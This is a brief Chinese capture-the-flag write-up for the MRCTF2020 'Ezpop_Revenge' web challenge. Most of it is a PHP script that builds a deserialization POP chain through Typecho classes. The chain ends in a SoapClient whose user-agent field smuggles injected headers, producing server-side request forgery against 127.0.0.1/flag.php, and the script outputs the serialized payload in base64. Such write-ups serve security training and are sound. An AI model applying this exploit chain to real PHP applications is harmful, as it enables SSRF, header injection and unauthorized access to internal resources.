web | [MRCTF2020]Ezpop_Revenge

这是一个稍长的pop链构造

构造出ssrf打127.0.0.1

利用soap类

脚本如下：

<?php


//第一步 反序列化HelloWorld_DB
class HelloWorld_DB{
    private $coincidence;
    function __construct(){
        $this->coincidence = ['hello' => new Typecho_Db_Query()];
    }

    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}


# 2. 实例化Typecho_Db
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
    {
        $this->_adapterName = $adapterName;

        # 这里触发__toString
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        $this->_prefix = $prefix;

        $this->_adapter = new $adapterName();
    }
}


# 3触发Typecho_Db_Query中 _toString
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
       $target = 'http://127.0.0.1/flag.php';
        $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: PHPSESSID=mz12345678'
        );
        $b = new SoapClient(
            null,
            array(
                'location' => $target,
                'user_agent'=>"xxxx
".join("
",$headers),
                'uri'      => "xxx")
        );
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}



$a = new HelloWorld_DB();
$aa = serialize($a);
var_dump($aa);
var_dump(base64_encode($aa));

?>

有的wp里提到了需要%00转0然后s转S实际上用不到毕竟解码完啥也没过滤。

over.